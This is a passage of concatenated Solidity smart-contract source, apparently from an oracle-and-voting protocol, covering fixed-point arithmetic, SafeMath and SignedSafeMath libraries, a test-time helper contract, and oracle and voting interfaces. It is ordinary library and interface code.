* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/VotingInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data.
abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run on the test network, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) internal {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "./VotingAncillaryInterface.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint256 time;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint256 time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint256 time;
int256 price;
int256 salt;
}
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
